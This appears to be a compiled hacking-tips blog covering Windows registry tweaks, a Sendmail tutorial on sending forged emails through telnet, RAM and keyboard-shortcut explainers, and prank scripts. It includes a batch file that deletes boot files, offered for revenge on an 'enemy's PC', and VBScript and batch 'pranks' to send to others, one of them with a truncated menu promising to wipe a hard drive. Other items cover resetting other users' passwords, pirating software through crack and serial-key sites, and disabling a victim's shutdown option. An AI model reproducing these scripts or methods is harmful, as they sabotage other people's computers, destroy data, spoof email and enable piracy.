Take Over the Screen Saver

Take Over the Screen Saver

To activate and deactivate the screen saver whenever you want, goto the following registry key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ScreenSavers
Now add a new string value and name it Mouse Corners. Edit this new value to -Y-N. Press F5 to refresh the registry. Voila! Now you can activate your screensaver by simply placing the mouse cursor at the top right corner of the screen and if you take the mouse to the bottom left corner of the screen, the screensaver will deactivate.



****************
Important Note: Before you read on, you need to keep one thing in mind. Whenever you make changes to the Windows Registry you need to Refresh it before the changes take place. Simply press F5 to refresh the registry and enable the changes. If this does not work Restart your system
****************

Disabling Display of Drives in My Computer

Disabling Display of Drives in My Computer

This is yet another trick you can play on your geek friend. To disable the display of local or networked drives when you click My Computer go to :
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Now in the right pane create a new DWORD item and name it NoDrives. Now modify it's value and set it to 3FFFFFF (Hexadecimal) Now press F5 to refresh. When you click on My Computer, no drives will be shown. To enable display of drives in My Computer, simply delete this DWORD item. It's .reg file is as follows:
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDrives"=dword:03ffffff


****************
Important Note: Before you read on, you need to keep one thing in mind. Whenever you make changes to the Windows Registry you need to Refresh it before the changes take place. Simply press F5 to refresh the registry and enable the changes. If this does not work Restart your system
****************

Ban Shutdowns : A trick to Play on Lamers

Ban Shutdowns : A trick to Play on Lamers

This is a neat trick you can play on that lamer that has a huge ego, in this section I teach you, how to disable the Shut Down option in the Shut Down Dialog Box. This trick involves editing the registry, so please make backups. Launch regedit.exe and go to :
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
In the right pane look for the NoClose Key. If it is not already there then create it by right clicking in the right pane and selecting New > String Value.(Name it NoCloseKey ) Now once you see the NoCloseKey in the right pane, right click on it and select Modify. Then Type 1 in the Value Data Box.
Doing the above on a Win98 system disables the Shut Down option in the Shut Down Dialog Box. But on a Win95 machine if the value of NoCloseKey is set to 1 then click on the Start > Shut Down button displays the following error message:
This operation has been cancelled due to restrictions in effect on this computer. Please contact your system administrator.
You can enable the shut down option by changing the value of NoCloseKey to 0 or simply deleting the particular entry i.e. deleting NoCloseKey.
Instead of performing the above difficult to remember process, simply save the following with an extension of .reg and add it's contents to the registry by double clicking on it.
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoClose"="1"




****************
Important Note: Before you read on, you need to keep one thing in mind. Whenever you make changes to the Windows Registry you need to Refresh it before the changes take place. Simply press F5 to refresh the registry and enable the changes. If this does not work Restart your system
****************

Exiting Windows the Cool and Quick Way

Exiting Windows the Cool and Quick Way

Normally it takes a hell lot of time just Shutting down Windows, you have to move your mouse to the Start Button, click on it, move it again over Shut Down, click, then move it over the necessary option and click, then move the cursor over the OK button and once again (you guessed it) click.This whole process can be shortened by creating shortcuts on the Desktop which will shut down Windows at the click of a button. Start by creating a new shortcut( right click and select New> Shortcut). Then in the command line box, type (without the quotes.)
'C:\windows\rundll.exe user.exe,exitwindowsexec'
This Shortcut on clicking will restart Windows immediately without any Warning. To create a Shortcut to Restarting Windows, type the following in the Command Line box:
'c:\windows\rundll.exe user.exe,exitwindows'
This Shortcut on clicking will shut down Windows immediately without any Warning.


****************
Important Note: Before you read on, you need to keep one thing in mind. Whenever you make changes to the Windows Registry you need to Refresh it before the changes take place. Simply press F5 to refresh the registry and enable the changes. If this does not work Restart your system
****************

Sendmail and Beyond: Tips and Trick

_______________________________________________________________________

Sendmail and Beyond: Tips and Tricks By Hackerx Sasi hackerx@sasi

_______________________________________________________________________

Welcome to yet another Hacking Truths manual. Although this manual comes after a long break, it is really nice to get back to writing for HT. Anyway, in the past, we have had a number of explanations on how to send forged emails, how to play with the Sendmail daemon, email headers and everything else to do with SMTP (Simple Mail Transfer Protocol) and emails. Although this manual too throws light on related matter, it is however more focused on advanced tips and tricks and other uncommon but extremely useful pieces of information.

Now, we have already learnt how one can, telnet to Port 25 of a mail server and send an email (even a forged email) by simply typing out some SMTP commands. However, for the benefit of beginners and to refresh the memory of experienced but forgetful people, we would quickly be going through the process. I promise to make it as short as possible, at the same time easy to understand.

Port 25 is the Sendmail Port where the SMTP daemon runs. This daemon is infact the daemon handling all the outgoing mails. All email clients send mail by connecting to Port 25 of the mail server and issuing SMTP commands. This process is automated and occurs in the background. However, one could also manually connect (telnet) to Port 25 of a mail server and manually type out the SMTP commands in order to send emails. So the basic outline of the entire process as below. For details regarding the usage of individual commands, simply type the word ‘help’ followed by the command at the Sendmail prompt.

Note: The below sends a mail from hackerx@sasi.net.in to ohmyfrnd@sasi.net.in by issuing SMTP commands to the mail server: mail.isp.com Responses from the mail sever have a number preceding them while the commands typed by the user do not have any number preceding.

C:\windows>telnet mail.isp.com

220 mail.isp.com ESMTP Sendmail 8.9.1 (1.1.20.3/07Jul00-0916AM) Thu, 7 Dec 2000 17:18:50 +0530 (IST)

helo hackerx.com

250-mail.isp.com Hello [203.xx.yyy.91], pleased to meet you

mail from: hackerx@sasi.net.in

250 hackerx@sasi.net.in... Sender ok

rcpt to: ohmyfrnd@sasi.net.in

250 ohmyfrnd@sasi.net.in... Recipient ok

data

354 Enter mail, end with "." on a line by itself

This is the part where the body of the message is typed in.

.

250 RAA0000001693 Message accepted for delivery

The headers of the above email as seen by the recipient is as follows:

Return-Path: <hackerx@sasi.net.in>

Received: from hackerx.com by mail.isp.com (8.9.1/1.1.20.3/07Jul00-0916AM)

                id RAA0000001693; Thu, 7 Dec 2000 17:19:49 +0530 (IST)

Date: Thu, 7 Dec 2000 17:19:49 +0530 (IST)

From: Hackerx Fadia <hackerx@sasi.net.in>

Message-Id: <200012071149.RAA0000001693@mail.isp.com>

X-UIDL: 920156a3b926c5193036933e6d04efd5

This is the part where the body of the message is typed in.

Anyway, now that we have recalled the basic outline of the process of manually sending an email, let us move on with the main subject of this manual.

The Subject Field Un-subjected

Now, ever since I released the manual on sending forged emails (Sending emails using SMTP commands) I have received a number of emails asking me questions like: “How to Specify the Subject of an email sent manually by connecting to Port 25 of a system”. Or “How to Specify CC and BCC recipients when doing the same?”  Well, in this section we discuss just that.

Firstly, let us learn how to specify the subject of an email engineered manually by SMTP commands. Well, the process of specifying the Subject remains pretty much similar to the normal process of sending emails manually. Actually all the commands remain the same until we reach the ‘data’ command. After we issue the ‘data’ command, the remote mail server will reply with the below message:

354 Enter mail, end with "." on a line by itself

This server response means that we can start typing the body of our message now. However, it also indirectly specifies that this is the time that we type in the Subject of the email. We can specify the subject of the email as follows:

Subject: Hi

Where ‘subject:’ is the keyword, which tells the mail server that you are ready to type in your subject and ‘Hi’, is the subject of your choice. You can continue with the body of the email by pressing the ‘Enter’ key and typing in the characters. The end with the: ‘ . ‘(Period) and everything else remains the same.

Let us go though the entire process, step by step. Please note that I have inserted comments wherever necessary within brackets. Both the brackets and the characters within the brackets are not a part of the actual commands.

For this example, we need to keep the following pieces of information in mind: 

Mail Server: mail.isp.com

Recipient’s Email Address: ohmyfrnd@sasi.net.in

Sender’s Email Address: hackerx@sasi.net.in

Subject: Hi!!!

Body: This is a test message

C:\windows>telnet mail.isp.com

220 mail.isp.com ESMTP Sendmail 8.9.1 (1.1.20.3/07Jul00-0916AM) Thu, 7 Dec 2000 17:18:50 +0530 (IST)

helo hackerx.com

250-mail.isp.com Hello [203.xx.yyy.91], pleased to meet you

mail from: hackerx@sasi.net.in

250 hackerx@sasi.net.in... Sender ok

rcpt to: ohmyfrnd@sasi.net.in

250 ohmyfrnd@sasi.net.in... Recipient ok

data

354 Enter mail, end with "." on a line by itself

subject: Hi!!!

This is a test message

.

250 RAA0000001693 Message accepted for delivery

Now if you examine the headers of this email, you will find that they unlike the headers that we viewed earlier in the manual will have a separate Subject line.

Return-Path: <hackerx@sasi.net.in>

Received: from hackerx.com by mail.isp.com (8.9.1/1.1.20.3/07Jul00-0916AM)

                id RAA0000001693; Thu, 7 Dec 2000 17:19:49 +0530 (IST)

Date: Thu, 7 Dec 2000 17:19:49 +0530 (IST)

From: Hackerx Fadia <hackerx@sasi.net.in>

Message-Id: <200012071149.RAA0000001693@mail.isp.com>

Subject: Hi!!!!

X-UIDL: 920156a3b926c5193036933e6d04efd5

This is a test message

CC’s and BCC’s

What are the SMTP commands equivalent to the BCC and CC fields of your email client? Well, this question has only one simply answer: none. The following few lines will tell us why.

To understand the answer to the above question, let us first understand how exactly does an email client handle a CC or a BCC. How does it do what we are supposed to do with the CC and BCC features?

Now, when you hit the Send button, then your email client connects to Port 25 of the mail server that you specified during the configuration time. Then it will issue SMTP commands to the remote mail server and send it the required information. And in this process your email is sent. The order in which the various SMTP commands are given is same as described earlier.

Normally, when you have only a single recipient, then your email client issues only a single ‘RCPT TO:’ command, to the mail server. However, when there is more than a single recipient, then the email client issues multiple instances of  ‘RCPT TO:’ Or in other words, when the CC field of your email client is not empty then multiple RCPT commands are issued.

You see the Simple Mail Transfer Protocol does not provide any special command for CC’ing an email to someone. The entire concept of CC relies on the issue of multiple RCPT commands to the mail server. The same is the case when you have multiple recipients in the ‘To:’ field of the email client. So basically this means that it really doesn’t matter whether you add a recipient’s email address to the CC field or to the ‘To:’ field. The SMTP command issued and the headers created will remain the same.

 Let us take a practical example to make it clearer. The recipients’ list for this example is as follows:

To: hackerx@sasi.net.in; hackerxfadia@hotmail.com

CC: hackerx_Fadia@hotmail.com ; ohmyfrnd@sasi.net.in

In this case, the following are the commands, which will send a blank email with the subject ‘test’ from the email address: test@sasi.net.in to the above list of recipients.

C:\windows>telnet mail.isp.com

220 mail.isp.com ESMTP Sendmail 8.9.1 (1.1.20.3/07Jul00-0916AM) Thu, 7 Dec 2000 17:18:50 +0530 (IST)

helo hackerx.com

250-mail.isp.com Hello [203.xx.yyy.91], pleased to meet you

mail from: test@sasi.net.in

250 test@sasi.net.in... Sender ok

rcpt to: hackerx@sasi.net.in

250 hackerx@sasi.net.in... Recipient ok

rcpt to: hackerxfadia@hotmail.com

250 hackerxfadia@hotmail.com... Recipient ok

rcpt to: hackerx_fadia@hotmail.com

250 hackerx_Fadia@hotmail.com... Recipient ok

rcpt to: ohmyfrnd@sasi.net.in

250 ohmyfrnd@sasi.net.in... Recipient ok

data

354 Enter mail, end with "." on a line by itself

subject: Test

.

250 RAA0000001693 Message accepted for delivery

Get it? Now, let us move on to as to how BCC works.

Now, in the above case i.e. in the case of CC, the email client used multiple RCPT’s in the same SMTP session to send the same email to multiple recipients. However, in such a case the email any recipient can view the email addresses of all the recipients. The reason behind this privacy invasion is the fact that a single email sent to either a single or multiple recipients has to have the same exact email headers. This means that all recipients in the ‘CC’ and ‘To’ fields of the same email have to have the same email headers. This is due to the fact that the email addresses of all the recipients were given to the mail server during the same SMTP session. All this may sound quite vague and weird. If that is the case, then read the following paragraphs to understand better.

Now, when you CC a single email to multiple recipients (Say 3) then the following procedure takes place:

Email Client Starts Session at remote mail server.

It introduces itself and the sender.

It uses multiple RCPT commands to send the same email to multiple recipients.

The email client disconnects.

As the email addresses of all the recipients are mentioned in the same session at the remote mail server, they constitute the same email headers. Thus all the recipients are able to view the email addresses to which this email was sent.

Now, in a situation, when we BCC the same email to multiple recipients (Say 2) then the following procedure takes place:

Email Client Starts Session at remote mail server.

It introduces itself and the sender.

It uses a single RCPT commands to send the same email to the first email address in the BCC list.

The email client disconnects.

It again starts a new session at the remote server.

It again introduces itself and the sender.

It uses a single RCPT commands to send the same email to the second email address in the BCC list.

The email client disconnects, once again.

In this case, each recipient was sent an email through a unique session at the remote mail server, thus each recipient received unique email headers and the identity of none of the other recipients in the BCC list was not given away.

The above description of the usage of CC and BCC is based on how Outlook Express works. However, actually Sendmail does provide a manner in which the CC recipients can be specified. After giving the DATA command, one can give the CC list by giving the following command:

CC:Recipient List

However, giving the BCC command instead of CC does not produce the desired result.

Sending Attachments through Sendmail

Today, MIME attachments are used to transfer files attached to an email. MIME attachments use Base64 encoding to encode the binary data. Earlier another encoding standard was used, which was called the Uuencode encoding standard. You can send attachments through Sendmail using any of the above methods.

UU-encoding or Unix-to-Unix encoding is an encoding standard, which converts all kinds of files into ASCII for safe transmission over Networks. Files, which are to be sent over networks, are encoded at the sender’s end and decoded at the receiver’s end. This ensures that files (attachments) can be transferred over different kinds of networks, systems routers etc without any loss. However, this method turned out be corruption prone and is thus not the most preferred one.

According to a University, the basic mechanism of UU-encoding is as follows:

The basic scheme is to break groups of 3 eight-bit characters (24 bits) into 4 six-bit characters and then add 32 (a space) to each six-bit character, which maps it into the readily transmittable character. Another way of phrasing this is to say that the encoded 6 bit characters are mapped into the set: `!"#$%&'()*+,-./012356789:;<=>?@ABC...XYZ[\]^_ for transmission over communications lines.

Such encoding increases the file size by about 42%. So, the mechanism of UU-encoding can be concluded as follows:

File is Uuencoded at sender’s end --------------------à File is Uudecoded at the receiver’s end.

All attachments too can be sent over networks in uuencoded form.

You see if you enter the uuencoded code of any file after you have issued the DATA command at the Sendmail prompt, then the recipient will be able to receive the attachment and view it too. Almost all email clients allow Uudecoding. (Even if the email client used by the recipient does not allow Uudecoding then are several utilities, which do it for you.) All files including images, audio files, video files, text files etc can be encoded by the Uuencoding standard to obtain the uuencoded code.

The method by which attachments in the form of their uuencoded form can be sent as attachments is a 2-step process-:

Converting the file to be sent as an attachment into uuencoded form.

Given the uuencoded form to the mail server after the DATA command.

Let, us first tackle the first step:

If you are using a Windows platform, then all you need to perform Uuencoding is WinZip. If you do not already have WinZip, then you could get it from: http://www.winzip.com

WinZip can easily be used for obtaining the Uuencode of any file. Simply create a new archive containing the file you want to Uuencode and select Action > Uuencode. You could also simply press Shift + U.

WinZip will save the Uuencode form of the .zip file in the form: filename.uue

A typical .uue file (In this case of an image file) would be as follows:

_=_

_=_ Part 001 of 001 of file new.zip

_=_

begin 666 new.zip

M4$L#!!0``@`(`#5S_RCDJL7+;P```'4````'````;F5W+F=I9G/W=+.P3)1G

MX&%8R``"_T$`Q%#\R<+(P,#(H`/B@.0=F-QZ\INZ%.\\$DX(:]"N_76TM7"V

M:6]\T+)755;)-P(C;UB]*)FR+OSYCGV';_HI7<P)::DQ$Y_Y[%*(UX1`H4U;

M3Z55KVB;<EV#@<$:`%!+`0(4`!0``@`(`#5S_RCDJL7+;P```'4````'````

K````````(`"V@0````!N97<N9VEF4$L%!@`````!``$`-0```)0`````````

`

end

The first few lines are only comments added by WinZip and are not actually a part of the Uuencoded code. So, simply eliminate everything above the following line:

begin 666 new.zip

This gives you the Uuencode code of the file you want to transmit as an attachment using Sendmail.

********************

HACKING TRUTH: If you are on a Unix platform then getting the Uuencode of a file becomes extremely easy. Simply go to the Unix shell so you can use uuencode on the file you're trying to send. For purposes of this example, let's presume the file you're trying to send is called "myfile.doc".

At the Unix shell prompt, type the command:

                uuencode myfile.doc myfile.doc > tempfile.uu

This tells the uuencode command to encode the file "myfile.doc" and store the name "myfile.doc" in the resulting encoded file. The results are then redirected (by the > sign) into another file that you'll place into your mail message later.

DOS versions of this utility are also easily available at various download sites.

********************

Now, once you have encoded the file and obtained the Uuencoded form, then all you need to do is Copy it and Paste it after the DATA command has been issued at the Sendmail prompt. This will send the file as an attachment.

This was the method in which one can send attachment using the Uuencoding standard. I will describe how to send attachments using the new MIME standard in the later version of this manual.

More Sendmail Tips and Tricks

Normally when you connect to the Sendmail Port of a system, then you only have standard SMTP commands available to you. Although they are more than what you will ever need, however, for those of you who like to play with various options, there are also some other commands, which are by default not available to you.

What I am talking about here is ESMTP commands or Extended Mail Transfer Protocol commands. A mail server with ESMTP enabled decides whether these ESMTP commands are available to the client on the basis of how the client introduces itself to it. Now, normally you introduce yourself by giving the below command:

HELO domain

Now, when you introduce yourself using the HELO command, then most mail servers by default make only the SMTP commands available to the client. Now, in order to make sure that even the ESMTP commands are available to you, you need to introduce yourself to the server by the EHLO command. For Example:

ehlo hackerx.com

Now, if the mail server you are connected to, has ESMTP enabled, then it will respond by giving a list of ESMTP commands. Something like the below:

220 mail.isp.com ESMTP Sendmail 8.9.1 (1.1.20.3/07Jul00-0916AM) Thu, 7 Dec2000 17:18:50 +0530 (IST)

ehlo hackerx.com

250-mail.isp.com Hello [203.xx.yy.91], pleased to meet you

250-EXPN

250-VERB

250-8BITMIME

250-SIZE

250-DSN

250-ONEX

250-ETRN

250-XUSR

250 HELP

********************

HACKING TRUTH: One way of finding out whether your ISP has ESMTP commands enabled, is to see the daemon banner that comes up, when you telnet to Port 25 of its mail server. The word ‘ESMTP’ tells you that such commands are available. For Example,

220 mail.isp.com ESMTP Sendmail 8.9.1 (1.1.20.3/07Jul00-0916AM) Thu, 7 Dec2000 17:18:50 +0530 (IST)

*******************

Coming Soon (Probably on Monday): How to send more authenticate mails. More Tricks to play with email headers.

Hackerx Fadia

hackerx

http://www.attackerworld.blogspot.com

To receive manuals on EVERYTHING YOU DREAMT OF written by Hackerx SASI, in your Inbox join his mailing list, by sending a blank email to: programmingforhackers-subscribe@egroups.com

Windows 7 uses only 3Gb out of 4Gb which i have

Due to an architectural decision made long ago, if you have 4GB of physical RAM installed, Windows is only able to report a portion of the physical 4GB of RAM (ranges from ~2.75GB to 3.5GB depending on the devices installed, motherboard's chipset & BIOS).

This behavior is due to "memory mapped IO reservations". Those reservations overlay the physical address space and mask out those physical addresses so that they cannot be used for working memory. This is independent of the OS running on the machine.

Significant chunks of address space below 4GB (the highest address accessible via 32-bit) get reserved for use by system hardware:

• BIOS – including ACPI and legacy video support
• PCI bus including bridges etc.
• PCI Express support will reserve at least 256MB, up to 768MB depending on graphics card installed memory

What this means is a typical system may see between ~256MB and 1GB of address space below 4GB reserved for hardware use that the OS cannot access. Intel chipset specs are pretty good at explaining what address ranges gets reserved by default and in some cases call out that 1.5GB is always reserved and thus inaccessible to Windows.

When looking at memory in systems (be it desktop or notebook) there are three questions to ask that will tell you the maximum amount of memory your O/S will be able to use:

1. What O/S Edition have you installed?

a. 32-bit Windows is limited to a maximum of 4GB and cannot see any pages above 4GB.
b. 64-bit Windows can use between 8GB and 128GB depending on SKU.

2. What address range can your processor actually access?

a. Typically that’ll be 40-bit addressing today for x64 (Intel EM64T/AMD64), but older processors may be limited to 36-bit or even 32-bit

3. Can your system’s chipset map memory above 4GB?

a. Mobile chipsets on sale today cannot (but that may change with time)
b. Newer workstations (which use chipsets developed for single or multi-proc servers) usually can.

Windows can remap memory from below 4GB to above 4GB and use it there, however, that relies on the three points above:

1. Can Windows access memory above 4GB?

a. 32-bit – NO
b. 64-bit – Maybe (due to chipset limitations)

2. Can your processor access memory above 4GB?

a. If it’s recent then it might, and if it’s either AMD64 or EM64T it’s almost certain

3. Does your chipset allow pages to be remapped above 4GB?

a. Probably not – and that’s what’s catching people who install 64-bit Vista to work around point 1 – they find they still cannot see above 4GB

In some cases, OEMs may be able to tweak their BIOS to reserve less memory for platform use, but we’re not talking a huge difference (ie, 100’s of MBs).

In the end a 32-bit OS and/or application can only, ever, handle 4GB of memory at a time, the AWE stuff just swaps chunks of memory in and out of that 4GB space, thus fooling the application and OS into using more space than it can “see”.

Physical Address Extension (PAE), extends the physical address space to 36-bits if your HW supports this. For most operations, the processor execution units will only see 32-bit addresses, the MMU will take care of the translation to 36bit addresses. No swapping here, only page translations (which are used regardless of PAE being on or not), this is a fundamental feature of any virtual memory operating system.

The OS and apps only see 32-bit addresses because the registers are limited to 32-bits (hence the “32-bit” architecture nomenclature). These are linear addresses which are extended to 36-bits in the translation to physical addresses, but they never show up in registers since there’s no room. It’s all internal until the address lines coming out of the chip are toggled. Thus my comment above about “if your H/W supports this (PAE)". I’m not going into how that works…

So, the OS can happily handle up to 64 GB of memory for 32-bit PAE-able systems.

Hope this helps explain the whole, ‘Why can’t I see 4 Gig of RAM in my system?” thing…

BTW – This does not change for Vista either…

your own mobile number

Find out your own mobile number :

Type the code(below) on your mobile screen a you will see your mobile number

Airtel - *141*123#
Aircel - *888# 
Docomo - *1#
Idea - *789#
Reliance - *1#
Videocon - *1#
Virgin - *1#
Vodafone - *555*0#

When was the Last Time your PC was Turned on

Find When was the Last Time your
PC was Turned on.
Go to.
Start >> Control Panel >>
Performance and Maintainence
... Administrative tools >> Computer
management >> Event viewer
Click on the system log and find the
time when your PC was last on
You can now check everything
including when your computer
was On ,Off,Sleeped ,Logged on
and off etc.

change computer password

How to change computer password without knowing the old one
There are some ways but i willtell to:

1.open command prompt(it is in accessories)
type:
... -net user
-this command will show you the users of the computer
-Then type :net user (the name of the user you want to change the password) *
-then type the new password and then reconfirm it.

2.in my computer icon right click
click manage
in computer management go to local users and groups and open users (at the right of the dialog box)
than users of the computer will be shown up.Right click in the user that you want to change the password and then click set password.Type the password that you want.

Warning: It only works on Xp,Vista,Windows 7

Use your Pen-Drive as a RAM

Use your Pen-Drive as a RAM

HAVING TROUBLE IN RUNNING YOUR PC ????

DOES YOUR PC .......WALKS ????? (RUNS SLOW) .........
THEN U HAVE THE SOLUTION AT YOUR HOME ... 
IN THIS POST :::: i'll be telling you How to Use your Pen-drive as a RAM for your PC.

* Plug a Pen-drive of more than 1 GB space in USB Port.
* Open My Computer and Right Click on the Icon of the inserted Pen-drive and Select "Properties".

* In the “Properties Task bar" go to “ReadyBoost” tab

* If you want to dedicate the entire space of your flash drive for ReadyBoost you can select the radio button that says “Dedicate this device to ReadyBoost”.

or

* If you want to use some of the Drive space as RAM then select the radio button "Use this device" and the select the space that you want to be used as RAM from "Space to reserve for system speed (may take lees than actual free space due to file system limits):" meter.

* Then Click "OK" to confirm and save your configurations.

Enable God Mode in Windows 7

Enable God Mode in Windows 7

* Create a New Folder.
* Rename it as " Hacking-Trick.{ED7BA470-8E54-465E-825C-99712043E01C} "
* Press "Enter".
* Your Done ...

Full Version Serial Key For Any Software

Find The Full Version Serial Key For Any Software 

“Find serial code of any software or download
cracked version” . From This You can get 
almost all serial keys from this website.

Just go to

www.serialnumber.in/

or

www.findserialnumber.com

or

www.keygens.nl

Enter the software name in search box..
And you are done..!!
Entering sofware name in the search tab will
make it available for you.. enjoy!

“Download a cracked version”

If you do not find serial key here you can also
download a cracked software copy. To search
a Cracked version you need to search as
Cracked:<name of the software/game you want>
in google search engine.

Kindly Share this knowledge with as many
people as you can and aware them. Feel
free to mention your queries/doubts in co
mments.Keep Learning. Keep Contact With Us.

Crashing a PC forever

Crashing a PC forever

Want a revenge!!! Do this on the your Enemy's PC 3-) 3-)
How to crash a PC Forever :::

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as a .bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.
REMEMBER - DO NOT CLICK THIS FILE. (for the idiots)
**Also remember this might not work with vista.**

10 most dangerous vbscript

10 most dangerous vbscript

1) Convey a little message and shut down the computer:
Type :

@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s

Save it as "Anything.BAT" in All Files and send it.

2) Toggle the Caps Lock button simultaneously:
Type :

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as "Anything.VBS" and send it.

3) Continually pop out the CD Drive. If there are more than one, it pops out all of them!
Type :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS" and send it.

4) Frustrate someone by making this VBScript hit Enter simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.

5) Open Notepad, slowly type "Hello, how are you? I am good thanks" after some time of clicking the file and freak someone out:

Type :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.

6) Frustrate someone by making this VBScript hit Backspace simultaneously:
Type :

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS" and send it.

7) Hack the keyboard and make it type "You are a fool" continuously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.

8. Open Notepad continually in your friend's computer:
Type :

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.

9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :

@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Save it as "Anything.BAT" and send it.

List of Keyboard Shortcuts for Windows 7

List of Keyboard Shortcuts for Windows 7

Windows Explorer Keyboard Shortcuts

Alt + D Select the address bar

Alt + Enter Open the Properties dialog box for the selected item

Alt + P Display the preview pane

Alt+Left Arrow View the previous folder

Alt + Right Arrow View the next folder

Alt + Up Arrow View the parent folder

Ctrl + E Select the search box

Ctrl + Mouse scroll wheel Change the size and appearance of file and folder icons

Ctrl + N Open a new window

Ctrl + Shift + N Creates a New Folder on the active desktop or in the active Windows Explorer window.

End Display the bottom of the active window

F11 Maximize or minimize the active window

Home Display the top of the active window

Num Lock + Asterisk (*) on numeric keypad Display all subfolders under the selected folder

Num Lock + Plus Sign (+) on numeric keypad Display the contents of the selected folder

Num Lock + Minus Sign (-) on numeric keypad Collapse the selected folder

Left Arrow Collapse the current selection (if it's expanded), or select the parent folder

Right Arrow Display the current selection (if it's collapsed), or select the first subfolder

General Keyboard Shortcuts

Alt + D Move focus to address bar in Windows Explorer and Internet Explorer

Alt + D, Tab Move focus to search bar in Windows Explorer and Internet Explorer

Alt + Enter Open Properties window of selected item

Alt + Esc Cycle through all open windows.

Alt + P Turn Preview Pane on or off in Windows Explorer

Alt + Left Arrow Go back in Windows Explorer

Alt + Right Arrow Go forward in Windows Explorer

Alt + underlined letter Display the corresponding menu or Perform the menu command

Alt + Up Arrow Go Up a directory in Windows Explorer

Alt + Tab select a open items or windows to see.

Alt + Spacebar Open menu of the current active window

Ctrl + Alt + Tab Use the arrow keys to switch between open items or windows

Ctrl + Down Arrow Move the cursor to the beginning of the next paragraph

Ctrl + Up Arrow Move the cursor to the beginning of the previous paragraph

Ctrl + Left Arrow Move the cursor to the beginning of the previous word

Ctrl + Right Arrow Move the cursor to the beginning of the next word

Ctrl + Shift + Arrow Select a block of text

Ctrl + Arrow + Spacebar Select multiple individual items in a window or on the desktop

Ctrl + A Select all items in active open window

Ctrl + C Copy the selected item

Ctrl + Esc Open Start menu

Ctrl + Mouse Wheel Increase or decrease icon size in current active Windows Explorer window or desktop

Ctrl + N Opens new Windows Explorer or Internet Explorer window

Ctrl + Shift + N Creates a New Folder on the active desktop or in the active Windows Explorer window.

Ctrl + Shift + Esc Open Task Manager

Ctrl + V Paste the selected item

Ctrl + X Cut the selected item

Ctrl + Y Redo an action

Ctrl + Z Undo an action

Delete Delete the selected item and move it to the Recycle Bin

End Scroll to the bottom of the current active window

Esc Cancel the current task

Home Scroll to the top of the current active window

Right Arrow Open the next menu to the right, or open a submenu

Left Arrow Open the next menu to the left, or close a submenu

Shift + Arrow Select more than one item in a window or on the desktop, or select text within a document

Shift + Delete Delete selected item permanently without it going to the Recycle Bin first.

Shift + Left Click Select a item or multiple items

Shift (when you insert a CD) Prevent the CD from automatically playing

Calculator Keyboard Shortcuts

Alt+1 Switch to Standard mode

Alt+2 Switch to Scientific mode

Alt+3 Switch to Programmer mode

Alt+4 Switch to Statistics mode

Alt + C Calculate or solve date calculations and worksheets

Ctrl + E Open date calculations

Ctrl + H Turn calculation history on or off

Ctrl + L Press the MC button

Ctrl + M Press the MS button

Ctrl + P Press the M+ button

Ctrl + Q Press the M- button

Ctrl + R Press the MR button

Ctrl + U Open unit conversion

Del Press the CE button

Esc Press the C button

F1 Open Calculator Help

F9 Press the +/– button

R Press the 1/× button

@ Press the square root button

Ctrl+ Shift + D Clear the calculation history

Enter Recalculate the calculation history after editing

Esc Cancel editing the calculation history

F2 Edit the calculation history

Down Arrow Navigate down in the calculation history

